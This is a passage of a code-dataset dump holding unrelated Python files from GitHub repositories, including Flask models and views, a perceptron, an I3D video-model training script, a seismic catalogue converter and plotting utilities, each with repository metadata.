db.Column(db.String(10))\n status = db.Column(db.String(20))\n country = db.Column(db.String(10))\n job_type = db.Column(db.String(32))\n expereince = db.Column(db.String(10))\n expiredDate = db.Column(db.DateTime, nullable=False)\n created_at = db.Column(db.DateTime, default=datetime.now(), nullable=False)\n applied_user = db.Column(db.Integer, db.ForeignKey(\"employee.id\"))\n posted_user = db.Column(db.Integer, db.ForeignKey(\"company.id\"))","repo_name":"mhbaando/somjobs","sub_path":"backend/src/databases/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"38983916039","text":"import time\nfrom collections import OrderedDict\n\nfrom ...plugins.Timer import Timer\nfrom ...plugins.MitosPPumpController import MitosPPumpController\nfrom ..Workflow import Workflow\n\ninputs = OrderedDict(\n ppumps_setup={},\n flowrates={},\n delay_time=0.,\n verbose=True \n )\n\noutputs = OrderedDict()\n\nclass FlushPumps(Workflow):\n\n def __init__(self):\n super(FlushPumps,self).__init__(inputs,outputs)\n\n def run(self):\n # pump controller plugins run on timer ticks\n timer = Timer(dt=1.)\n timer.start()\n pumps = {}\n for pump_nm,setup in self.inputs['ppumps_setup'].items():\n pumps[pump_nm] = MitosPPumpController(\n timer=timer,verbose=self.inputs['verbose'],**setup)\n pumps[pump_nm].start()\n pumps[pump_nm].set_flowrate(self.inputs['flowrates'][pump_nm])\n time.sleep(self.inputs['delay_time'])\n timer.stop()\n\n","repo_name":"slaclab/paws","sub_path":"paws/workflows/FLOW_REACTOR/FlushPumps.py","file_name":"FlushPumps.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"15050418283","text":"import numpy as np\n\n\nclass Perceptron:\n \"\"\"\n Perceptron\n\n A perceptron is one of the least complex machine learning algorithms\n used for binary classification (0 or 1): for instance, will the customer buy or not.\n\n Parameters\n ----------\n X : {array-like, sparse matrix}, shape (n_samples, n_features)\n Training data.\n\n y : ndarray, shape (n_samples,)\n Array of labels.\n\n init_type: str\n Weights initialization method.\n 'zeros' means that, the weight matrix will be filled with zeros\n 'random' means that, the weight matrix will be filled with small numbers between 0 and 0.05\n Default is 'zeros'\n\n threshold: float\n Threshold to determine, whether the result belongs to 0 or 1\n\n learning_rate: float\n How fast and precise does the perceptron learn\n\n max_epochs: int\n How many unsuccessful can be made before learning break\n \"\"\"\n def __init__(self, X: list, y: list, init_type: str = 'zeros',\n threshold: float = 0.5, learning_rate: float = 0.1, max_epochs: int = 10):\n self.threshold = threshold\n self.learning_rate = learning_rate\n self.X = X\n self.y = y\n self.max_epochs = max_epochs\n self.initialize(init_type)\n\n def initialize(self, init_type: str) -> None:\n \"\"\"Initialize the Perceptron object\"\"\"\n if init_type == 'random':\n self.weights = np.random.rand(len(self.X[0])) * 0.05\n elif init_type == 'zeros':\n self.weights = np.zeros(len(self.X[0]))\n print('\\nSuccessful initialization!')\n print(f'Initialized weights are {self.weights}')\n\n def train(self) -> None:\n \"\"\"Train the Perceptron object on given training data\"\"\"\n epoch = 0\n while True:\n error_count = 0\n epoch += 1\n print(f'\\n---- EPOCH NUMBER {epoch} ----\\n')\n\n # Creating convenient data format for iterating\n rows = list(zip(self.X, self.y))\n # Randomizing data order to prevent overfitting\n np.random.shuffle(rows)\n # Iterating and learning (tweaking weights) over all samples and counting errors\n for X, y in rows:\n error_count += self.train_observation(X, y)\n\n # If no errors were made during learning, the model is perfectly fit\n # Therefore there is no point to tweak weights anymore\n if error_count == 0:\n print('\\nTraining successful!')\n break\n # If maximum epochs number is reached and no perfect model was found\n if epoch >= self.max_epochs:\n print('\\nReached maximum epochs. No perfect prediction')\n break\n\n def train_observation(self, X: tuple, y: int) -> int:\n \"\"\"Train model (tweak weights) by observing single sample\"\"\"\n error_count = 0\n\n # Determine, whether a predicted train label belongs to 0 or 1\n result = np.dot(X, self.weights) > self.threshold\n # Comparing to a real label\n error = y - result\n if error != 0:\n error_count += 1\n # Tweaking all the weights one by one\n for index, value in enumerate(X):\n self.weights[index] += self.learning_rate * error * value\n print('\\nWeights have been changed')\n print(f'New weights are {self.weights}')\n\n return error_count\n\n def predict(self, X: tuple) -> int:\n \"\"\"Predicting a sample label of an unseen sample\"\"\"\n return int(np.dot(X, self.weights) > self.threshold)\n\n def __str__(self):\n return str(self.weights)\n\n def __repr__(self):\n return self.__str__()\n","repo_name":"vrppaul/learning-ds-projects","sub_path":"perceptron/model/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12494633142","text":"import setuptools\nfrom version import get_git_version\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n\tname='pynovice',\n\tversion=get_git_version(),\n\tdescription='data mining for novice and expert',\n\turl='https://github.com/wqwangchn/novice',\n\tauthor='wqwangchn',\n\tauthor_email='wqwangchn@163.com',\n\tlong_description=long_description,\n\tlong_description_content_type=\"text/markdown\",\n\tpackages=setuptools.find_packages(),\n\tinclude_package_data=True,\n\tinstall_requires=['pandas','numpy','scipy'],\n\tclassifiers=[\n\t\"Programming Language :: Python :: 3\",\n\t\"License :: OSI Approved :: MIT License\",\n\t\"Operating System :: OS Independent\",\n\t],\n\tzip_safe=False\n)\n","repo_name":"wqwangchn/novice","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"28083401203","text":"from dataclasses import dataclass\nimport datasets\nimport pyarrow as pa\nimport os\n\nFEATURES = datasets.Features(\n {\n 'text': datasets.Value('string')\n }\n)\n\n@dataclass\nclass WikiConfig(datasets.BuilderConfig):\n\n data_path : str = None\n min_sent_length : int = 10\n chunksize : int = 10 << 20\n encoding = 'utf-8'\n\nclass wiki(datasets.ArrowBasedBuilder):\n\n BUILDER_CONFIG_CLASS = WikiConfig\n VERSION = \"1.0.0\"\n\n def _info(self):\n return datasets.DatasetInfo(features=FEATURES)\n\n def _split_generators(self, dl_manager):\n\n if not self.config.data_path or not os.path.isdir(self.config.data_path):\n raise ValueError(f\"Data Dir must be specified, but got data_path={self.config.data_path}\")\n\n return [datasets.SplitGenerator(name='train', gen_kwargs={\"data_path\": self.config.data_path})]\n \n def _generate_tables(self, data_path):\n batch_idx = 0\n files = os.listdir(data_path)\n files = [os.path.join(data_path, file) for file in files]\n print('Files to process: ', files)\n for file in files:\n with open(file, \"r\", encoding=self.config.encoding) as f:\n while True:\n batch = f.read(self.config.chunksize)\n if not batch:\n break\n batch += f.readline() # finish current line\n batch = batch.splitlines()\n batch = [i for i in batch if len(i)>self.config.min_sent_length]\n pa_table = pa.Table.from_arrays([pa.array(batch)], schema=pa.schema({\"text\": pa.string()}))\n yield batch_idx, pa_table\n batch_idx += 1","repo_name":"liyucheng09/MetaphorFrame","sub_path":"lyc/hfds_scripts/wiki_dataset.py","file_name":"wiki_dataset.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"0"}
+{"seq_id":"5381428477","text":"import numpy as np\r\n\r\ndef calcPi(n):\r\n \"\"\"Use Riemann Zeta fucntion evaluated at 2 to approximate pi out to n summations\"\"\"\r\n result=0\r\n for i in range(1,n+1):\r\n result += (i**2)**-1\r\n \r\n result *= 6\r\n result = np.sqrt(result)\r\n return result\r\n \r\n","repo_name":"tyler314/Math_Programs","sub_path":"calcPi.py","file_name":"calcPi.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9374946166","text":"from . import app, render_template, request, log, res, load_mongodb\n\n@app.route('/')\ndef index():\n mycol, DBEXIST, COLEXIST = load_mongodb()\n # 判断cookie是否存在\n cookie = request.cookies.to_dict()\n log.debug(cookie)\n if cookie == {}:\n # cookie为空登录页面\n return res(render_template('login.html'))\n elif 'sh' in cookie.keys():\n # sh在cookie当中则提取sh并从数据库提取相关信息并生成表单\n sh = cookie['sh']\n log.debug('sh: %s', sh)\n count = mycol.count_documents({'cookie':sh})\n if count == 0:\n return res(render_template('login.html'))\n else:\n info = mycol.find_one({'cookie':sh})\n # 功能开关状态\n switch_pushplus = switch_telegram = switch_weather = switch_pushplus_rightnow = switch_telegram_rightnow\\\n = data_hkxw = data_tzgg = data_mtbd = data_ldth = data_jwtz = data_kytz = ''\n if info['switch_pushplus'] == 'true':\n switch_pushplus = 'checked'\n if info['switch_telegram'] == 'true':\n switch_telegram = 'checked'\n if info['switch_weather'] == 'true':\n switch_weather = 'checked'\n if info['switch_pushplus_rightnow'] == 'true':\n switch_pushplus_rightnow = 'checked'\n if info['switch_telegram_rightnow'] == 'true':\n switch_telegram_rightnow = 'checked'\n if info['data_hkxw'] == 'true':\n data_hkxw = 'checked'\n if info['data_tzgg'] == 'true':\n data_tzgg = 'checked'\n if info['data_mtbd'] == 'true':\n data_mtbd = 'checked'\n if info['data_ldth'] == 'true':\n data_ldth = 'checked'\n if info['data_jwtz'] == 'true':\n data_jwtz = 'checked'\n if info['data_kytz'] == 'true':\n data_kytz = 'checked'\n\n return res(render_template('config.html',\n user_name = info['name'],\n openid = info['openid'],\n xh = info['xh'],\n tgtoken = info['telegram_bot_token'],\n tg_user_id = info['telegram_user_id'],\n pushplustoken = info['pushplustoken'],\n switch_pushplus = switch_pushplus,\n switch_telegram = switch_telegram,\n switch_weather = switch_weather,\n switch_pushplus_rightnow = switch_pushplus_rightnow,\n switch_telegram_rightnow = switch_telegram_rightnow,\n data_hkxw = data_hkxw,\n data_tzgg = data_tzgg,\n data_mtbd = data_mtbd,\n data_ldth = data_ldth,\n data_jwtz = data_jwtz,\n data_kytz = data_kytz\n ))\n else:\n return res(render_template('login.html'))\n\n@app.route('/register')\ndef register():\n return res(render_template('register.html'))\n\n@app.route('/forget')\ndef forget():\n return res(render_template('forget.html'))\n\n@app.route('/delete')\ndef delete():\n return res(render_template('delete.html'))","repo_name":"jellyqwq/class-helper","sub_path":"class_helper/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"22547354224","text":"#!/usr/bin/python\n\"\"\"\nHere we're taking zipped sc3ml files from Steve, extracting and converting\nthem to QML via an xslt\n\"\"\"\n\ndef sc3ml2qml(zipdir, outdir, stylesheet):\n import os\n import fnmatch\n\n raw_files = []\n # raw_dir = '/home/chet/data/mrp_data/sherburn_catalog/quake-ml/xsl_test/sc3ml_test'\n for root, dirnames, filenames in os.walk(zipdir):\n for filename in fnmatch.filter(filenames, '*.xml.zip'):\n raw_files.append(os.path.join(root, filename))\n # Running sczip from SC3\n # os.chdir('/home/chet/seiscomp3/lib/')\n for afile in raw_files:\n name = afile.rstrip('.xml.zip')\n cmd_str = ' '.join(['/home/chet/seiscomp3/bin/sczip', '-d', afile,\n '-o', name])\n os.system(cmd_str)\n # Convert sc3ml to QuakeML\n # Put new files in separate directory\n new_name = ''.join([outdir, os.path.basename(afile).rstrip(),\n '_QML.xml'])\n cmd_str2 = ' '.join(['xsltproc', '-o', new_name,\n stylesheet, afile])\n os.system(cmd_str2)\n #Remove all '#' from QuakeML (shady way of circumventing validation issues)\n # qml_files = glob('/home/chet/data/mrp_data/sherburn_catalog/quake-ml/*QML.xml')\n # for one_file in qml_files:\n # command = \"sed -i 's/#//g' \" + one_file\n # os.system(command)\n return\n","repo_name":"cjhopp/scripts","sub_path":"python/old_scripts_4-1/sherburn_cat_prep.py","file_name":"sherburn_cat_prep.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"0"}
+{"seq_id":"10117663064","text":"import extract_featured_col as col\n\nimport json\nimport os\nimport base64\nimport io\nimport cv2\nimport numpy as np\n\n\n###== (STEP 1) Create feature color values and save output as 'file.mod'\n\n# Sepecify directory of positive tiles & output file include path\ndir_pos = './dataset-color-based/landuse_construction/color_dist'\noutput_file ='test_construction.mod'\n\nfeatured_color_value = col.color_set_generator(dir_pos, output_file, rgb_buffers=(3,3,3)) \n\n\n###== (STEP 2) Create feature color values and save as 'file.mod'\n\n#--- call the feature color list created from traning \nf = open(output_file, \"r\")\ncol_vals = f.read().splitlines()\nf.close()\n\ncol_vals = [int(val) for val in col_vals]\n#--- pixel values of the map feature\nmin_R, max_R = col_vals[0], col_vals[1] \nmin_G, max_G = col_vals[2], col_vals[3] \nmin_B, max_B = col_vals[4], col_vals[5] \n\n\ndef pic_val_count(img_name):\n \"\"\"\n the function counts colors (R,G,B) of input image, and returns with frequency\n < Arguments >\n * img_nam: image file name, e.g.) 'image.png'\n \"\"\"\n pic = cv2.imread(img_name)\n pic = cv2.cvtColor(pic, cv2.COLOR_BGR2RGB)\n\n reshaped_pic = np.reshape(pic, (pic.shape[0]*pic.shape[1], 3))\n reshaped_pic = reshaped_pic.tolist()\n reshaped_pic = [tuple(pixel) for pixel in reshaped_pic]\n \n col_count = []\n for i in set(reshaped_pic):\n (col_val, num_pic) = i, reshaped_pic.count(i)\n col_count.append((col_val, num_pic)) \n return col_count\n\n\ndef classify_feature_image(input_img, pix_cutoff=50):\n \"\"\"\n the function detects color of interest from input image\n < Arguments >\n * input_img: image file name, e.g.) 'image.png'\n * feature_colors: a list of featured color obtained from \"dominant_color_set()\"\n * pix_cutoff: the threshold number of featured pixel to be considered 'positive' image\n \"\"\"\n result = 'negative'\n for pic_val, num in pic_val_count(input_img):\n if ((min_R <= pic_val[0] <= max_R)\n &(min_G <= pic_val[1] <= max_G)\n &(min_B <= pic_val[2] <= max_B)\n &(num > pix_cutoff)):\n result = \"positive\"\n return result\n\n\n\n#--- TEST\ntest_img = '/workspaces/maprover--utility-model-farming/example-Color-based/dataset-color-based/landuse_construction/TEST/construction/19_432079_197852.png'\nclassify_feature_image(test_img, pix_cutoff = 50)\n","repo_name":"agilebeat-inc/maprover--utility-model-farming","sub_path":"color-based-model/classify_exmaple.py","file_name":"classify_exmaple.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"17703858582","text":"import os\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" \nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport numpy as np\nfrom torchvision import datasets, transforms\nimport videotransforms\nfrom pytorch_i3d import InceptionI3d\nfrom i3d_dataset import I3D_Dataset as Dataset\nfrom i3d_feats_dataset import I3D_Dataset as Feature_Dataset\nfrom Research_Platform import helpers, pytorch_helpers\nimport mlflow\nimport os\nfrom sklearn.metrics import f1_score\n\nparser = argparse.ArgumentParser()\nparser = helpers.bp_parser\nparser.add_argument('mode', type=str, help='rgb or flow')\nparser.add_argument('root', type=str)\nparser.add_argument('config', type=str)\nparser.add_argument('nclasses', type=int)\nparser.add_argument('--epochs', type=int, default=10000)\nparser.add_argument('--train-last-layer-only', action='store_true')\n# parser.add_argument('--slurm', action='store_true')\nparser.add_argument('--window-size', type=int, default=64)\nparser.add_argument('--lr', type=float, default=0.1)\n\n__this_dir__ = os.path.dirname(os.path.abspath(__file__))\n\n\ndef get_datasets(config_file, root, mode, nclasses, batch_size, window_size):\n # print('setting up data loaders')\n if mode != 'features':\n train_transforms = transforms.Compose([videotransforms.RandomCrop(224),\n videotransforms.RandomHorizontalFlip(),\n ])\n test_transforms = transforms.Compose([videotransforms.CenterCrop(224)])\n\n dataset = Dataset(config_file, 'train', root, mode, nclasses, train_transforms, window_size=window_size)\n val_dataset = Dataset(config_file, 'validation', root, mode, nclasses, test_transforms, window_size=window_size)\n test_dataset = Dataset(config_file, 'test', root, mode, nclasses, test_transforms, window_size=window_size)\n else:\n dataset = Feature_Dataset(config_file, 'train', root, nclasses, balance_classes=True)\n val_dataset = Feature_Dataset(config_file, 'validation', root, nclasses, balance_classes=False)\n test_dataset = Feature_Dataset(config_file, 'test', root, nclasses, balance_classes=False)\n\n dataloader = torch.utils.data.DataLoader(dataset, batch_size=batch_size, shuffle=True, num_workers=4,\n pin_memory=False)\n val_dataloader = torch.utils.data.DataLoader(val_dataset, batch_size=batch_size, shuffle=True, num_workers=4,\n pin_memory=False)\n test_dataloader = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, shuffle=True, num_workers=4,\n pin_memory=False)\n # print('done setting up dataloaders')\n\n dataloaders = {'train': dataloader, 'val': val_dataloader, 'test': test_dataloader}\n\n return dataloaders\n\n\ndef run(init_lr=0.1, max_steps=10000, mode='rgb', root='/ssd/Charades_v1_rgb', config_file='charades/charades.json',\n nclasses=158, batch_size=10, train_last_layer_only=False, window_size=64):\n # setup dataset\n dataloaders = get_datasets(config_file, root, mode, nclasses, batch_size, window_size)\n\n # setup the model\n if mode == 'flow':\n i3d = InceptionI3d(400, in_channels=2)\n i3d.load_state_dict(torch.load(os.path.join( __this_dir__, 'models/flow_imagenet.pt')))\n else:\n i3d = InceptionI3d(400, in_channels=3)\n i3d.load_state_dict(torch.load(os.path.join(__this_dir__, 'models/rgb_imagenet.pt')))\n i3d.replace_logits(nclasses)\n #i3d.load_state_dict(torch.load('/ssd/models/000920.pt'))\n i3d = nn.DataParallel(i3d)\n i3d.cuda()\n\n lr = init_lr\n mlflow.log_param('lr', lr)\n optimizer = optim.SGD(i3d.parameters(), lr=lr, momentum=0.9, weight_decay=0.0000001)\n lr_sched = optim.lr_scheduler.MultiStepLR(optimizer, [300, 1000])\n\n num_steps_per_update = int(128/(batch_size*len(args.gpu)))\n steps = 0\n # train it\n best_val_f1 = 0\n do_official_test = False\n while steps < max_steps:\n # Each epoch has a training and validation phase\n mlflow.log_metric('step', steps)\n for phase in ['train', 'val', 'test']:\n if phase == 'test' and not do_official_test:\n # print('test, but not doing it because do_official_test is not activated')\n continue\n # print(phase)\n if phase == 'train':\n i3d.train(train_last_layer_only)\n else:\n i3d.eval() # Set model to evaluate mode\n \n tot_loss = helpers.AverageMeter()\n tot_loc_loss = helpers.AverageMeter()\n tot_cls_loss = helpers.AverageMeter()\n num_iter = 0\n optimizer.zero_grad()\n \n # Iterate over data.\n ys = []\n y_s = []\n # print('about to start getting data')\n for data in dataloaders[phase]:\n # print(f'num iter- {num_iter}')\n num_iter += 1\n # get the inputs\n inputs, labels = data\n\n # wrap them in Variable\n inputs = Variable(inputs.cuda())\n if args.train_last_layer_only:\n t = args.window_size\n else:\n t = inputs.size(2)\n labels = Variable(labels.cuda())\n\n per_frame_logits = i3d(inputs, args.train_last_layer_only)\n # upsample to input size\n per_frame_logits = F.upsample(per_frame_logits, t, mode='linear')\n\n # compute localization loss\n loc_loss = F.binary_cross_entropy_with_logits(per_frame_logits, labels)\n tot_loc_loss.update(loc_loss.item())\n\n # compute classification loss (with max-pooling along time B x C x T)\n cls_loss = F.binary_cross_entropy_with_logits(torch.max(per_frame_logits, dim=2)[0], torch.max(labels, dim=2)[0])\n tot_cls_loss.update(cls_loss.item())\n\n # y_ = torch.argmax(torch.max(per_frame_logits, dim=2)[0], dim=1)\n y_ = np.argmax(np.mean(pytorch_helpers.p2n(per_frame_logits), axis=2), axis=1)\n # y = torch.argmax(torch.max(labels, dim=2)[0], dim=1)\n y = helpers.most_common_in_row(np.argmax(pytorch_helpers.p2n(labels), axis=1))\n\n ys.extend(y.tolist())\n y_s.extend(y_.tolist())\n\n loss = (0.5*loc_loss + 0.5*cls_loss)/num_steps_per_update\n tot_loss.update(loss.item())\n if phase == 'train':\n loss.backward()\n\n # print(num_steps_per_update, num_iter, phase)\n if num_iter == num_steps_per_update and phase == 'train':\n steps += 1\n # print(f'backward at steps- {steps}')\n num_iter = 0\n optimizer.step()\n optimizer.zero_grad()\n lr_sched.step()\n\n if phase == 'train':\n tot_f1 = f1_score(ys, y_s, average='micro')\n mlflow.log_metric('train loc loss', tot_loc_loss.avg, steps)\n mlflow.log_metric('train cls loss', tot_cls_loss.avg, steps)\n mlflow.log_metric('train total loss', tot_loss.avg, steps)\n mlflow.log_metric('train f1', tot_f1, steps)\n tot_loc_loss.reset()\n tot_cls_loss.reset()\n tot_loss.reset()\n\n if phase == 'val':\n # print(f'steps (val)- {steps}')\n tot_f1 = f1_score(ys, y_s, average='micro')\n mlflow.log_metric('val loc loss', tot_loc_loss.avg, steps)\n mlflow.log_metric('val cls loss', tot_cls_loss.avg, steps)\n mlflow.log_metric('val total loss', tot_loss.avg, steps)\n mlflow.log_metric('val f1', tot_f1, steps)\n if tot_f1 > best_val_f1:\n pytorch_helpers.save_torch_statedict(i3d, os.path.join(args.logdir, 'best_model.pth'))\n mlflow.log_artifact(os.path.join(args.logdir, 'best_model.pth'))\n best_val_f1 = tot_f1\n do_official_test = True\n\n if phase == 'test':\n # print(f'steps (test)- {steps}')\n tot_f1 = f1_score(ys, y_s, average='micro')\n mlflow.log_metric('test loc loss', tot_loc_loss.avg, steps)\n mlflow.log_metric('test cls loss', tot_cls_loss.avg, steps)\n mlflow.log_metric('test total loss', tot_loss.avg, steps)\n mlflow.log_metric('test f1', tot_f1, steps)\n\n if not (phase == 'test' and not do_official_test):\n fig, ax, cm = helpers.plot_confusion_matrix(np.array(ys), np.array(y_s), classes=np.arange(args.hierarchies_and_nclasses),\n normalize=True)\n fig.savefig(os.path.join(args.logdir, f'confusion_matrix_{phase}.png'))\n mlflow.log_artifact(os.path.join(args.logdir, f'confusion_matrix_{phase}.png'))\n np.save(os.path.join(args.logdir, f'confusion_matrix_{phase}.npy'), cm)\n if phase == 'test':\n do_official_test = False\n\n\nif __name__ == '__main__':\n # need to add argparse\n args = parser.parse_args()\n print(args.gpu)\n pytorch_helpers.torch_boiler_plate(args.gpu)\n print(os.environ['CUDA_VISIBLE_DEVICES'])\n # mlflow.set_tracking_uri('/nethome/dscarafoni3/dev/NRI/mlruns')\n mlflow.set_experiment(args.logdir)\n\n # if args.slurm:\n # args.logdir = 'logs/' + args.logdir + f'_{os.environ[\"SLURM_ARRAY_TASK_ID\"]}'\n # helpers.maybe_create_dir(args.logdir)\n # else:\n # while True:\n # try:\n # args.logdir = helpers.next_experiment_dir(args.logdir)\n # helpers.maybe_create_dir(args.logdir)\n # break\n # except Exception as e:\n # print(f'coudl not get directory {args.logdir}')\n args.logdir = helpers.try_make_next_experiment_dir(args.logdir, nolog=False, slurm=args.slurm)\n print(f'using logdir- {args.logdir}')\n\n with mlflow.start_run(run_name=':'.join(args.logdir.split('/')[-2:])):\n r = mlflow.active_run()\n helpers.picklesave(os.path.join(args.logdir, 'mlflowr.pkl'), r.info.run_id)\n run(init_lr=args.lr,\n mode=args.mode, root=args.root, config_file=args.config,\n nclasses=args.hierarchies_and_nclasses,\n max_steps=args.epochs,\n train_last_layer_only=args.train_last_layer_only,\n batch_size=args.batch_size,\n window_size=args.window_size)\n\n","repo_name":"scarafoni/rpp","sub_path":"repos/pytorch_i3d/train_i3d.py","file_name":"train_i3d.py","file_ext":"py","file_size_in_byte":10837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"11293144730","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 2 15:23:50 2020\n\n@author: charles mégnin\n\"\"\"\nimport numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\n\nVERBOSE = 0\n\ndef tf_idf(data):\n \"\"\"\n Compute TF-IDF\n return transformed data\n \"\"\"\n print(f\"[tf_idf] Input data shape: {np.shape(data)}\")\n cv=CountVectorizer()\n # generate word count for the words in data\n word_count_vector=cv.fit_transform(data)\n print(f\"[tf_idf] Word count after processing: {word_count_vector.shape}\")\n\n vec = TfidfVectorizer(ngram_range=(1, 2)) # set to 1, 2 for bigrams\n\n X = vec.fit_transform(data)\n print(f'[tf_idf]: TF-IDF vector shape: {X.shape}')\n\n # size is # of non-zero values in matrix\n if VERBOSE == 1:\n with open('data-tfidx.txt', 'w') as f:\n for item in data:\n f.write(\"%s\\n\" % item)\n print(f\"Sparsity: {1 - X.size / (X.shape[1] * X.shape[0]):.2g}\")\n print(\"*** TF-IDF ***\")\n print(vec.vocabulary_.keys()) # index\n #print(vec.vocabulary_)\n print(X)\n print(\"*** END TF-IDF ***\")\n\n return X\n","repo_name":"Ursuline/dssp14","sub_path":"tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"2942260396","text":"'''Visitors that perform plotting of spikes.\n\n.. currentmodule:: grid_cell_model.visitors.plotting.spikes\n\n'''\nfrom __future__ import absolute_import, print_function\n\nimport logging\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom ...otherpkg.log import getClassLogger\nfrom ...plotting.signal import signalPlot\nfrom .. import interface\nfrom .. import spikes\n\n\nFRPlotLogger = getClassLogger(\"FiringRatePlotter\", __name__)\n\n\nclass FiringRatePlotter(interface.DictDSVisitor):\n '''Plot population firing rates for the specified duration'''\n\n def __init__(self, rootDir=None, readme='', figSize=(20, 4)):\n '''Initialize the visitor\n\n Parameters\n ----------\n rootDir : str\n Root output directory where to save the image. It will be a\n subdirectory of where the data is located.\n '''\n super(FiringRatePlotter, self).__init__()\n self.rootDir = rootDir\n self.figSize = figSize\n\n\n\n def visitDictDataSet(self, ds, **kw):\n if 'fileName' not in kw.keys():\n msg = 'Did not receive the fileName as a keyword argument.'\n velGainLogger.warn(msg)\n return\n r = kw.pop('r', '')\n c = kw.pop('c', '')\n trialNum = kw.pop('trialNum', '')\n\n data = ds.data\n a = data['analysis']\n fig = plt.figure(figsize=self.figSize)\n\n # E firing rate\n FR_e = a['FR_e']['popSliding']\n FRt_e = a['FR_e']['popSlidingTimes']\n\n axE = fig.add_subplot(211)\n signalPlot(FRt_e, FR_e, axE, color='red')\n axE.set_ylabel('E rate (Hz)')\n axE.set_xlim([0, FRt_e[-1]])\n\n\n # I firing rate\n FR_i = a['FR_i']['popSliding']\n FRt_i = a['FR_i']['popSlidingTimes']\n\n axI = fig.add_subplot(212)\n signalPlot(FRt_i, FR_i, axI, color='blue')\n axI.set_ylabel('I rate (Hz)')\n axI.set_xlim([0, FRt_i[-1]])\n\n fig.suptitle(\"gE idx: {r}, gI idx: {c}, trial: {tr}\".format(\n r=r, c=c, tr=trialNum))\n\n figPath = self.getFigPath(kw['fileName'], self.rootDir, r, c, trialNum)\n FRPlotLogger.info(\"Saving figure to '{0}'\".format(figPath))\n fig.tight_layout()\n fig.savefig(figPath)\n\n\n################################################################################\n#class ISIPlotVisitor(DictDSVisitor):\n# def __init__(self, rootDir, spikeType, nCols, nRows, **kw):\n# '''\n# Parameters\n# ----------\n# rootDir : string\n# Root output directory where to store the output figures.\n# spikeType : string\n# Type of the analysis, can be either 'E' - to plot grid field data\n# for E cells, or 'I' to plot them for the I cells.\n# nCols : int\n# Number of columns in the grid plot\n# nRows : int\n# Number of rows in the grid plot\n# '''\n# self.rootDir = rootDir\n# self.outputDir = 'ISI_statistics'\n# self.setSpikeType(spikeType)\n# self.nCols = nCols\n# self.nRows = nRows\n#\n# self.ISINWindows = kw.pop('ISINWindows', 0)\n#\n# self.hist_kw = kw\n#\n#\n# def _checkSpikeType(self, t):\n# if (t == 'E' or t == 'I'):\n# return True\n# msg = \"spikeType must be 'E' or 'I'. Got '{0}'\".format(spikeType)\n# raise ValueError(msg)\n#\n# def setSpikeType(self, t):\n# self._checkSpikeType(t)\n# self._spikeType = t\n#\n#\n# def createOutputDirs(self):\n# # Create output directory(ies)\n# try:\n# os.makedirs('{0}/{1}'.format(self.rootDir, self.outputDir))\n# except OSError as e:\n# if (e.errno == errno.EEXIST):\n# log_warn(\"GridPlotVisitor\", 'Output directory already ' +\n# 'exists. This might overwrite files.')\n# else:\n# raise e\n#\n#\n# def visitDictDataSet(self, ds, **kw):\n# data = ds.data\n#\n# simT = self.getOption(data, 'time') # ms\n# thetaT = 1e3 / self.getOption(data, 'theta_freq')\n# jobNum = self.getOption(data, 'job_num')\n# if ('trialNum' in kw.keys()):\n# trialNum = kw['trialNum']\n# else:\n# trialNum = 0\n# self.createOutputDirs()\n# fileNameTemplate = \"{0}/{1}/job{2:05}_trial{3:03}_{4}\".format(self.rootDir,\n# self.outputDir, jobNum, trialNum, self._spikeType)\n#\n# if self._spikeType == 'E':\n# monName = 'spikeMon_e'\n# NName = 'net_Ne'\n# if self._spikeType == 'I':\n# monName = 'spikeMon_i'\n# NName = 'net_Ni'\n#\n#\n# # Pick the most-spiking neurons\n# spikes = MonitoredSpikes(data, monName, NName)\n# rate = spikes.avgFiringRate(0, simT)\n# maxRateIdx = np.argsort(rate)\n# ISIs = spikes.ISI(maxRateIdx[0:self.nRows*self.nCols])\n#\n# ## ISI histogram plots\n# #fig = plt.figure(figsize=(11.69, 6.57))\n# #gs = plt.GridSpec(self.nRows, self.nCols)\n# #it = 0\n# #for r in xrange(self.nRows):\n# # for c in xrange(self.nCols):\n# # if (it >= spikes.N):\n# # break\n#\n# # ax = plt.subplot(gs[r, c])\n# # ax.hist(ISIs[it], **self.hist_kw)\n# # if (r == self.nRows - 1):\n# # ax.set_xlabel('ISI (ms)')\n# # ax.xaxis.set_major_locator(ti.LinearLocator(2))\n# # ax.set_yticks([])\n# # it += 1\n#\n# #gs.tight_layout(fig)\n# #fname = 